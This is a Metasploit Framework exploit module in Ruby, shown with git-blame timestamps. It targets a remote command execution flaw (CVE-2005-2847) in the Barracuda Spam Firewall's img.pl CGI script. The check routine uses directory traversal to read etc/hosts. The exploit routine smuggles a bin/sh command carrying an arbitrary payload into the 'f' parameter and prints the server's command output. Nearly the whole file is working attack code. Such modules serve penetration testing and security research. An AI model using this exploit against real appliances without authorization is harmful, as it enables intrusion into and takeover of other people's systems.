2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2007-01-05 03:47:44 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2007-01-05 03:47:44 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2007-01-05 03:47:44 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-01-05 03:47:44 +00:00
|
|
|
'Name' => 'Barracuda IMG.PL Remote Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits an arbitrary command execution vulnerability in the
|
|
|
|
Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.
|
2007-01-05 03:47:44 +00:00
|
|
|
},
|
2007-03-12 01:08:18 +00:00
|
|
|
'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],
|
2007-01-05 03:47:44 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2005-2847'],
|
|
|
|
['OSVDB', '19279'],
|
|
|
|
['BID', '14712'],
|
2011-10-16 09:53:53 +00:00
|
|
|
['URL', 'http://www.nessus.org/plugins/index.php?view=single&id=19556'],
|
2009-05-13 17:39:42 +00:00
|
|
|
['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],
|
2007-01-05 03:47:44 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
'Space' => 4000,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
},
|
2007-01-05 03:47:44 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
|
|
'DisclosureDate' => 'Sep 01 2005',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),
|
|
|
|
], self.class)
|
2007-01-05 03:47:44 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
2010-04-30 08:40:19 +00:00
|
|
|
'vars_get' =>
|
2007-01-05 03:47:44 +00:00
|
|
|
{
|
|
|
|
'f' => ("../" * 8) + "etc/hosts"
|
|
|
|
}
|
|
|
|
}, 25)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (res and res.body.match(/localhost/))
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2007-01-05 03:47:44 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 03:47:44 +00:00
|
|
|
def exploit
|
|
|
|
res = send_request_cgi({
|
2012-11-08 16:42:48 +00:00
|
|
|
'uri' => normalize_uri(datastore['URI']),
|
2010-04-30 08:40:19 +00:00
|
|
|
'vars_get' =>
|
2007-01-05 03:47:44 +00:00
|
|
|
{
|
|
|
|
'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!
|
|
|
|
}
|
|
|
|
}, 25)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 03:47:44 +00:00
|
|
|
if (res)
|
2007-01-05 04:28:32 +00:00
|
|
|
print_status("The server returned: #{res.code} #{res.message}")
|
2007-01-05 03:47:44 +00:00
|
|
|
print("")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
m = res.body.match(/YYY(.*)YYY/)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 04:28:32 +00:00
|
|
|
if (m)
|
|
|
|
print_status("Command output from the server:")
|
|
|
|
print(m[1])
|
|
|
|
else
|
|
|
|
print_status("This server may not be vulnerable")
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-01-05 03:47:44 +00:00
|
|
|
else
|
|
|
|
print_status("No response from the server")
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|